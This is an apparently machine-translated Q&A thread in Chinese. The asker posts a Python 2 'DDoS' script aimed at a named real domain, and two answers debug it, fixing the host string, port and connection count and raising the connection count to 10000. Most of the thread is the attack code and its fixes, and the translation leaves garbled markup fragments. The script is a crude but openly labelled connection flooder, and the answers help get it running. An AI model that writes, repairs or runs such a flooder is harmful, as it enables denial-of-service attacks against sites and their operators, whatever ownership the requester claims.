我试图攻击我的服务器,我有这个小ddos python脚本。但不幸的是我收到了这个错误:
ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed
知道如何解决这个问题吗?
这是剧本:
import time, socket, os, sys, string
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
答案 0 :(得分:3)
主机名应该是主机名hajnalgroup.com
),而不是网址(http://hajnalgroup.com
)。
>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'
替换以下行:
host = "http://hajnalgroup.com"
使用:
host = "hajnalgroup.com"
<强>更新强>
range
函数的所有参数都应该是int
个对象:
>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.
将conn = "100"
替换为conn = 100
。
答案 1 :(得分:3)
端口号也应该是一个数字。
import time, socket, os, sys, string
import subprocess
def restart_program():
subprocess.call(['python', 'main.py'])
print ("DDoS mode loaded")
host = "YOUR_SITE.com"
port = 80
message = "+---------------------------+"
conn = 10000
ip = socket.gethostbyname(host)
print "[" + ip + "]"
print "[Ip is locked]"
print "[Attacking " + host + "]"
print message
def dos():
# pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send(message)
ddos.sendto(message, (ip, port))
ddos.send(message)
except socket.error:
print("|[Connection Failed] |")
print ("|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print message
print("The connections you requested had finished")
print message
if __name__ == "__main__":
print "Do you want to ddos more?"
answer = raw_input()
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
您还应该使用subprocess
重新启动dos脚本,这对于多操作系统更好。